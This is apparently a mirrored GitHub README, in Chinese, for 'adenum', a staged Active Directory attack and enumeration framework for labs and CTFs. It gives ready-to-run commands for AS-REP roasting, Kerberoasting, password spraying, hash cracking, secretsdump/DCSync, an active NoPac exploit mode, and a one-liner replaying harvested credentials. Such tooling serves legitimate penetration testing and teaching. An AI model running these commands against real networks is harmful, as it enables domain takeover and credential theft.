nodirsafarov/adenum

GitHub: nodirsafarov/adenum

一款分阶段自动化的 Active Directory 通用枚举框架,将十余种 AD 渗透工具编排为从裸 IP 到域控沦陷的完整侦察工作流,并配备可视化报告与统一凭据管理。

Stars: 0 | Forks: 0

``` █▀▀█ █▀▀▄ █▀▀ █▄░█ █░░█ █▀▄▀█ █▄▄█ █░░█ █▀▀ █░▀█ █░░█ █░▀░█ ▀░░▀ ▀▀▀░ ▀▀▀ ▀░░▀ ░▀▀▀ ▀░░░▀ ``` **Active Directory 通用枚举器** *一个分阶段、并行、专业级的 AD 侦察框架。* *从一个裸 IP 地址开始,一直到 BloodHound + DCSync。* [![Python](https://img.shields.io/badge/python-3.11+-blue.svg)](https://www.python.org/) [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](./LICENSE) [![Platform](https://img.shields.io/badge/platform-Kali%20Linux-purple.svg)](https://www.kali.org/) [![Status](https://img.shields.io/badge/status-active-success.svg)]()
## 为什么选择 adenum? 对 Active Directory 环境进行渗透测试通常意味着要同时使用**一打工具** —— `nmap`、`nxc`、`enum4linux-ng`、`kerbrute`、`impacket-GetNPUsers`、`bloodhound-python`、`certipy-ad`、`secretsdump` 等等。每种工具都有各自的标志位、输出格式和边缘情况。 **adenum** 将所有这些工具封装成一个单一的、循序渐进的工作流: | 你拥有… | 运行 | 你将获得 | |---|---|---| | 仅有一个 DC IP | `adenum 10.10.10.5` | 域名、主机名、操作系统、共享、时间偏差 | | + 一个域名 | `adenum … -d htb.local` | 用户、组、密码策略、SRV 记录 | | + 一个用户列表 | `adenum … --users users.txt` | AS-REP roast 哈希 (hashcat 18200) | | + 有效凭据 | `adenum … -u admin -p Pass!` | BloodHound ZIP、NTDS.dit、ADCS 发现 | 每个阶段都会使用你所需的确切参数,**自动建议下一条命令**。 ## 功能 ### 侦察 - **阶段 0 (仅 IP)** — nmap 端口扫描、反向 DNS、LDAP rootDSE 自动发现、NTP 时间偏差、SMB 主机信息、匿名共享、NetBIOS 枚举 - **阶段 1 (带域名)** — RID 暴力破解、原生 Python kerbrute (AS-REQ 探测)、匿名 LDAP 用户查询、密码策略、AD SRV 记录、AXFR 尝试 - **阶段 2 (带用户列表)** — AS-REP roasting (原生 + impacket 后备)、以 hashcat 格式自动提取哈希 - **阶段 3 (带凭据)** — 完整的 nxc 枚举、Kerberoast (TGS-REQ)、BloodHound 收集、secretsdump (SAM/LSA/NTDS)、certipy-ad ESC1–ESC11 检测 ### 激进检查 (默认只读) - **NoPac** (CVE-2021-42278/42287) — MachineAccountQuota 前提条件检查 (+ 使用 `--exploit` 主动创建流氓计算机) - **ZeroLogon** (CVE-2020-1472) — NetrServerAuthenticate3 零挑战探测 (不重置密码) - **PrintNightmare** (CVE-2021-1675/34527) — spooler RPC 可达性 - **PetitPotam** (CVE-2021-36942) — EFSRPC/lsarpc 管道暴露检查 - **PrinterBug** — MS-RPRN 强制路径检测 - **SMB 签名中继** — 标记 ntlmrelayx 可行的主机 ### 跨协议枢纽点 - **MSSQL** (`nxc mssql` + `impacket-mssqlclient`) — 发现 SQL 服务器、匿名/认证探测、sysadmin 检测 (xp_cmdshell → RCE)、链接服务器枚举 - **WinRM** (`nxc winrm`) — PSRemoting 可访问性检查,Pwn3d! 标志 → 为 `evil-winrm` 做好准备 - **多方法执行** — 并行尝试 psexec / wmiexec / atexec / smbexec / dcomexec;报告哪些 RPC 路径是开放的 (不同方法可绕过不同 AV/EDR 签名) ### 高级 AD 攻击路径 - **委派枚举** — 非约束性、约束性和基于资源的委派 (RBCD) - **LAPS / Windows LAPS** 密码读取 (当 DACL 允许时) - **gMSA** (`msDS-ManagedPassword`) 读取 - **GPP cpassword** 在 SYSVOL 中搜寻并自动解密 - **Pre-Win2k 计算机** (密码 = 小写计算机名) - **Shadow Credentials** (`msDS-KeyCredentialLink`) — certipy 集成 - **AdminSDHolder** 受保护账户 (adminCount=1) - 通过 LDAP 发现 **AS-REP roastable** + **Kerberoastable** 账户 ### 被动 OSINT (无目标流量) - DNS 记录 — NS、MX、SOA、TXT、SPF、DMARC、CAA - 通过公共解析器检测 AD SRV 记录泄露 - **crt.sh** 证书透明度用于子域名收集 - **Shodan** API 搜索 (可选,需要 `SHODAN_API_KEY`) - **GitHub** 代码搜索凭据泄露 (可选,通过 `gh` CLI) ### 快速致胜 (常驻检测器) - **AS-REP roastable 账户** — 标记 + 一次性捕获哈希 (原生 kerbrute) - **Description 字段密码** — 在用户 `description` 属性中 LDAP grep 查找 `password=`、`pwd:`、`secret=` 模式 (一种*非常*常见的反模式) - **匿名 SMB / LDAP / RPC** — 在阶段 0 检测并利用 - **Pre-Win2k 计算机** — 自动尝试 `name:lower(name)` 登录 ### 凭据库 - 捕获的每个凭据 (明文、NT 哈希、AS-REP、Kerberoast、票据) 都以统一格式追加到 **`loot//creds.txt`** 中:`::` - 可直接输入到 `nxc -u creds.txt`、`evil-winrm` 或 hashcat - 自动去重;跨运行永不丢失 ### 可直接运行的命令生成器 - 每次成功的凭据捕获都会**打印可直接复制粘贴的命令**,适用于:`nxc smb`、`evil-winrm`、`impacket-mssqlclient`、`psexec`、`wmiexec`、`secretsdump`、`bloodhound-python`、`certipy-ad` 以及完整的 `adenum` 阶段 3 跟进操作 - AS-REP/Kerberoast 哈希会附带带有正确 `-m` 模式的 `hashcat`/`john` 内联调用 ### 运维特性 - **原生 Python kerbrute** — 无需 Go 二进制文件;额外收益:在用户枚举期间提取 AS-REP 哈希 - **外部用户名词表** — `-w names.txt` (例如 SecLists 的 `Usernames/Names/names.txt`) 用于匿名 LDAP 枚举关闭时 - **感知锁定的密码喷洒** — 首先读取密码策略,拒绝锁定账户 - **OPSEC 配置** — `--opsec quiet|normal|loud` 调整并发数和 nmap 计时 - **状态持久化** — `--save-state state.json` + `--resume state.json` 用于长期战役 - **多目标** — 单个 IP、CIDR (`10.0.0.0/24`) 或 `-T targets.txt` - **三种输出格式** — 富终端、带有 Chart.js 的独立 HTML、严格的 JSON - **教育性详细模式** — `-v` 解释*为什么*要运行每个工具 - **默认并行** — `asyncio` + 线程池意味着端口扫描 + SMB 信息 + LDAP rootDSE + RPC 空会话并行运行 (~5倍加速) ## 安装说明 ### 前置条件 - Linux (在 **Kali 2024+** 上测试,应适用于任何现代发行版) - Python **3.11 或更新版本** - `$PATH` 中可用的以下工具 (Kali 自带): - `nxc` (NetExec) 或 `crackmapexec` - `impacket-*` 套件 (`GetNPUsers`、`GetUserSPNs`、`secretsdump`、`lookupsid`、`getTGT`、`getST`) - `ldapsearch` (`ldap-utils`) - `smbclient`、`rpcclient` (`samba-common-bin`) - `nmap` - `bloodhound-python` - `certipy-ad` - `dig` (`dnsutils`) - `gpp-decrypt` (用于 SYSVOL cpassword 解密) 在 Kali 上这些都是预装的。在 Ubuntu/Debian 上: ``` sudo apt update && sudo apt install -y \ nmap ldap-utils samba-common-bin dnsutils \ python3-pip python3-impacket python3-ldap3 pipx install netexec pipx install bloodhound pipx install certipy-ad ``` ### 安装 (一条命令,推荐) ``` pipx install git+https://github.com/nodirsafarov/adenum ``` 这会将 `adenum` 放入你的 `$PATH` 中。在任何位置: ``` adenum --check-tools 1.1.1.1 adenum 10.10.10.5 adenum 10.10.10.5 -d htb.local --aggressive --html report.html ``` ### 或者克隆 + 本地安装 ``` git clone https://github.com/nodirsafarov/adenum cd adenum pipx install . ``` ### 或者从源码运行 (不安装) ``` git clone https://github.com/nodirsafarov/adenum cd adenum pip install -r requirements.txt ./adenum.py --check-tools 1.1.1.1 ``` ### 验证 ``` adenum --check-tools 1.1.1.1 ``` 你应该会看到类似这样的内容: ``` [*] tool detection (31/32 available) [+] GetADComputers -> /usr/bin/impacket-GetADComputers [+] GetNPUsers -> /usr/bin/impacket-GetNPUsers [+] bloodhound-python -> /usr/bin/bloodhound-python [+] certipy -> /usr/bin/certipy-ad ... ``` ### 卸载 ``` pipx uninstall adenum ``` ## 快速入门 ### 阶段 0 — 裸 IP ``` adenum 10.10.10.5 -v ``` 发现域名、主机名、操作系统、SMB 签名、匿名共享、NetBIOS、时间偏差。如果发现域,将自动建议下一条命令。 ### 阶段 1 — 带域名 ``` adenum 10.10.10.5 -d htb.local -v # 使用外部 wordlist (当匿名 LDAP 关闭时): adenum 10.10.10.5 -d htb.local -w /usr/share/seclists/Usernames/Names/names.txt -v ``` 枚举用户 (RID 暴力破解 + 针对内置的 80 多个常见 AD 名称和你的 `-w` 词表进行 AS-REQ kerbrute)、组、密码策略和 AD SRV 记录。将收集到的用户名保存到 `loot//users.txt`。 ### 阶段 2 — 带用户列表 ``` adenum 10.10.10.5 -d htb.local --users loot/10.10.10.5/users.txt -v ``` 为每个用户发送 AS-REQ。从不要求预认证的账户捕获 AS-REP 哈希。将它们以 hashcat 可用的格式保存到 `loot//asrep_hashes.txt`。 ``` hashcat -m 18200 loot/10.10.10.5/asrep_hashes.txt /usr/share/wordlists/rockyou.txt ``` ### 阶段 3 — 带凭据 ``` adenum 10.10.10.5 -d htb.local -u admin -p 'Password1!' -v # 或使用 NTLM hash: adenum 10.10.10.5 -d htb.local -u admin -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 -v ``` 运行 nxc 完整枚举,对每个具有 SPN 的账户执行 Kerberoast,收集 BloodHound 数据,尝试 secretsdump (如果你是 DA 则执行 DCSync),并运行 `certipy-ad find` 查找 ADCS 问题。 ### 激进 — 运行所有内容 (只读) ``` adenum 10.10.10.5 -d htb.local --aggressive --html report.html ``` 运行上述所有阶段,**外加**所有漏洞检查 (NoPac、ZeroLogon、PrintNightmare、PetitPotam、PrinterBug)、高级 LDAP 查询 (委派、LAPS、gMSA、GPP、pre2k、AdminSDHolder),并生成一份独立的 HTML 报告。 ### 被动 — 不触碰目标的 OSINT ``` adenum 10.10.10.5 -d htb.local --passive ``` 拉取 DNS 记录,查询 crt.sh 以获取证书透明度,可选 Shodan 和 GitHub。**不会向目标 IP 发送任何数据包。** ### 多目标 — 扫描子网 ``` adenum 10.0.0.0/24 adenum -T targets.txt ``` 每个目标都会获得自己的 `loot//` 目录。 ### 状态持久化 — 恢复长期战役 ``` adenum 10.10.10.5 -d htb.local --aggressive --save-state campaign.json # (已中断) adenum 10.10.10.5 -d htb.local --aggressive --resume campaign.json ``` 在每个阶段之后都会写入一个检查点,因此你无需重做已完成的工作。 ### OPSEC 配置 ``` adenum 10.10.10.5 -d htb.local --opsec quiet # IDS-aware, slow adenum 10.10.10.5 -d htb.local --opsec normal # default adenum 10.10.10.5 -d htb.local --opsec loud # maximum speed (lab only) ``` | 配置 | 并发数 | Kerbrute 池 | nmap 计时 | |---|---|---|---| | `quiet` | 4 | 5 | `-T2` | | `normal` | 8 | 20 | `-T4` | | `loud` | 32 | 60 | `-T5` | ## 输出 ### 终端 详细模式 (`-v`) 是彩色的,并解释了每条命令。发现的结果将在每个阶段结束时在面板中进行汇总。 ### HTML 报告 (`--html report.html`) 包含以下内容的单文件独立 HTML: - 严重性甜甜圈图 (CRITICAL / HIGH / MEDIUM / LOW) - 发现结果细分条形图 - 漏洞、用户、计算机、共享、捕获的哈希 - 建议的后续命令 直接在浏览器中打开 `report.html` —— 所有 CSS 和 Chart.js 均为内嵌/CDN。 ### JSON (`--json report.json`) `Findings` 中所有内容的严格结构化转储。适用于通过管道传递给其他工具、jq 查询或未来的重新导入。 ### Loot 目录结构 ``` loot// ├── creds.txt # unified credential vault (all types in one file) ├── users.txt # harvested usernames ├── asrep_hashes.txt # AS-REP roast (hashcat -m 18200) ├── kerberoast_hashes.txt # Kerberoast (hashcat -m 13100) ├── spray_creds.txt # cleartext from spray ├── secretsdump.txt # SAM/LSA/NTDS dump ├── subdomains_crtsh.txt # passive crt.sh harvest ├── bloodhound/ # BloodHound JSON + ZIP ├── adcs/ # certipy output └── sysvol/ # downloaded GPP XMLs ``` ### `creds.txt` 格式 ``` # adenum 凭证保险库 - 每个凭证占一行 # 格式: ::[:] password:administrator:Welcome2024! password:helpdesk:Helpdesk@2024 nthash:svc_sql:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 asrep:guest:$krb5asrep$23$guest@HTB.LOCAL:abc...$def... kerb:svc_iis:$krb5tgs$23$*svc_iis$HTB.LOCAL$http/iis.htb.local*$abc... ``` 通过管道直接输入到你后续的工具链中: ``` # 通过 nxc 重放每一个获取的 cred awk -F: '/^password:/ {print $2":"$3}' loot/10.10.10.5/creds.txt \ | xargs -n1 -I{} sh -c 'echo {} | nxc smb 10.10.10.5 -u $(echo {} | cut -d: -f1) -p $(echo {} | cut -d: -f2-)' ``` ## 架构 ``` pyproject.toml # pipx-installable, console script: adenum adenum.py # source-mode launcher (./adenum.py) adenum_lib/ ├── cli.py # argparse + dispatch (entry point: adenum_lib.cli:main) ├── runner.py # async subprocess + OPSEC profiles ├── ui.py # rich-based educational verbose console ├── state.py # Findings dataclass + save/load ├── parsers.py # output parsers (LDAP, nxc, lookupsid, nmap, ASREP) ├── reporters.py # HTML (Chart.js) + JSON serializers ├── wordlists.py # built-in common AD usernames + passwords ├── modules/ │ ├── recon.py # nmap, reverse DNS, LDAP rootDSE, time skew │ ├── smb.py # nxc smb info, smbclient -L │ ├── ldap.py # rootDSE, anonymous user query │ ├── rpc.py # null session, lookupsid RID brute │ ├── dns_recon.py # AD SRV, AXFR │ ├── policy.py # password policy │ ├── kerbrute.py # native Python AS-REQ probe + AS-REP hash │ ├── userenum.py # RID brute, kerbrute, anon LDAP │ ├── authenticated.py # nxc full, Kerberoast, BloodHound, secretsdump, certipy │ ├── spray.py # lockout-aware password spray │ ├── exploits.py # NoPac/ZeroLogon/PrintNightmare/PetitPotam/PrinterBug │ ├── advanced.py # delegation, LAPS, gMSA, GPP, pre2k, shadow creds │ ├── mssql.py # MSSQL discovery + auth + sysadmin checks │ ├── winrm.py # PSRemoting accessibility │ ├── exec.py # multi-method execution (5 RPC paths in parallel) │ └── passive.py # DNS, crt.sh, Shodan, GitHub └── stages/ ├── stage0.py # IP only ├── stage1.py # +domain ├── stage2.py # +userlist ├── stage3.py # +creds ├── stage_passive.py └── stage_aggressive.py ``` ## 与巨头们的诚实对比 与它们相比,`adenum **额外**增加了: | 关注点 | Impacket | NetExec | adenum | |---|---|---|---| | 底层 Kerberos 原语 | ✅ 权威 | 使用 Impacket | 使用 Impacket | | 多协议 (SMB、LDAP、MSSQL、WinRM、SSH、RDP 等) | 部分 | ✅ 权威 | 为 AD 子集封装 NetExec | | 模块数量 | ~40 个脚本 | 100+ 个模块 | ~16 个专注模块 | | 教育性详细输出 | 极少 | 极少 | **解释每一条命令** | | 渐进式阶段流程 (IP → 域 → 用户 → 凭据) | 手动 | 手动 | **内置** | | 自动建议下一条命令 | ❌ | ❌ | ✅ | | 原生 AS-REQ 探测 + AS-REP 一次性捕获 | 两步工具操作 | 两步工具操作 | **单一池** | | 带图表的 HTML 报告 | ❌ | ❌ (仅 db) | ✅ | | 状态持久化 + 恢复 | ❌ | 部分 | ✅ | | 感知锁定的喷洒 | 部分 | ✅ | ✅ | **使用 `adenum` 的情况**:当你希望在一个新目标上进行快速、有指导的 AD 侦察流程,并关注报告/学习时。**转而使用原始 Impacket/NetExec 的情况**:当你需要细粒度控制,或者你已经不满足于 `adenum` 固定的工作流时。 ## 为什么要有原生 Python kerbrute? 大多数工作流执行 `kerbrute userenum` (Go 二进制文件) 来验证用户名,**然后**使用 `impacket-GetNPUsers` 来实际获取 AS-REP 哈希 —— 对同一个用户列表进行两次单独遍历。 `adenum_lib/modules/kerbrute.py` 是一个自包含的 Python 实现: - 仅使用 `PA-PAC-REQUEST` padata 构建最小的 AS-REQ (无时间戳) - 通过 TCP/88 发送,带有真实的 socket 超时 (impacket 的 `sendReceive` 没有) - 根据错误代码对 KDC 响应进行分类 —— `KDC_ERR_C_PRINCIPAL_UNKNOWN` (6)、`KDC_ERR_PREAUTH_REQUIRED` (25)、`KDC_ERR_CLIENT_REVOKED` (18)、`KRB_AP_ERR_SKEW` (37)、`KDC_ERR_ETYPE_NOSUPP` (14) - 如果 KDC 拒绝 RC4,则回退到 AES - **额外收益**:当返回 AS-REP 时 (无预认证),解析 `enc-part` 并内联输出 hashcat 格式的 `$krb5asrep$23$user@DOMAIN:...` 哈希 —— 无需通过第二个工具 一个池,一个用户列表,两种信号。 ## 示例 ### 完整的 HTB 风格工作流 ``` # 1. fingerprint adenum 10.10.10.161 -v # 2. 使用发现的 domain 进行 enum adenum 10.10.10.161 -d htb.local -v # 3. AS-REP roast 获取到的 users adenum 10.10.10.161 -d htb.local --users loot/10.10.10.161/users.txt -v hashcat -m 18200 loot/10.10.10.161/asrep_hashes.txt /usr/share/wordlists/rockyou.txt # 4. 已破解?全量 authenticated 扫描 adenum 10.10.10.161 -d htb.local -u svc-alfresco -p s3rvice --aggressive --html report.html # 5. 将 bloodhound ZIP 导入 BloodHound GUI ls loot/10.10.10.161/bloodhound/*.zip ``` ### 密码喷洒 (感知锁定) ``` adenum 10.10.10.5 -d htb.local \ --users loot/10.10.10.5/users.txt \ --spray-pass 'Welcome2024!' \ --aggressive ``` `adenum` 首先会读取已发现的 `lockout_threshold`,并拒绝喷洒超过 `threshold - 2` 个密码。 ### 针对已知域的隐蔽被动侦察 ``` SHODAN_API_KEY=xxx adenum 1.2.3.4 -d corp.example --passive --html osint.html ``` 通过 crt.sh 获取子域名,通过 Shodan 获取暴露的服务,在 GitHub 上获取泄露的引用 —— 所有这些都无需向 `1.2.3.4` 发送任何数据包。 ## 免责声明 这是一种最终会被写入 CTF write-up 和家庭实验室教程的工具。请保持这种方式。 ## 路线图 - [x] 带哈希提取的原生 AS-REQ kerbrute - [x] 带有 Chart.js 的 HTML 报告 - [x] 状态持久化 + 恢复 - [x] 多目标 (CIDR + 文件) - [x] OPSEC 配置 - [x] MSSQL / WinRM / 多方法执行 - [x] 主动 NoPac (`--exploit`) - [x] 可通过 `pipx install` 安装 - [x] 统一凭据库 (`creds.txt`) - [x] Description 字段密码搜寻 - [x] 可直接运行的命令生成器 (单行输出) - [x] 外部用户名词表 (`-w names.txt`) - [ ] 主动 ZeroLogon / PetitPotam 破坏性路径 - [ ] BloodHound CE 收集后的 Cypher 查询 - [ ] 攻击端带有监听器的 ntlmrelayx 编排 - [ ] 可插拔模块系统 (`entry_points`) - [ ] 带有模拟子进程的 pytest 套件 - [ ] Docker 镜像 欢迎提交 PR 和 Issue。 ## 许可证 [MIT](./LICENSE) — © 2026 Nodir Safarov. ## 作者 **Nodir Safarov** — [@nodirsafarov](https://github.com/nodirsafarov) 如果 `adenum` 在某台靶机上为你节省了时间,欢迎在仓库给我点个 star。⭐
标签:Active Directory, ADCS, AD枚举, AS-REP Roasting, BloodHound, Checkov, DCSync, HTML报告, HTTP, Kerberos攻击, Mr. Robot, MSSQL枚举, NTDS.dit, PE 加载器, Plaso, Prisma Cloud, Python, StruQ, WinRM检测, XXE攻击, 凭据获取, 反取证, 后渗透, 域控, 域渗透, 安全评估, 强制认证, 数据展示, 无后门, 模拟器, 横向移动, 活动目录, 电子数据取证, 红队, 编程规范, 网络安全, 计算机取证, 逆向工具, 隐私保护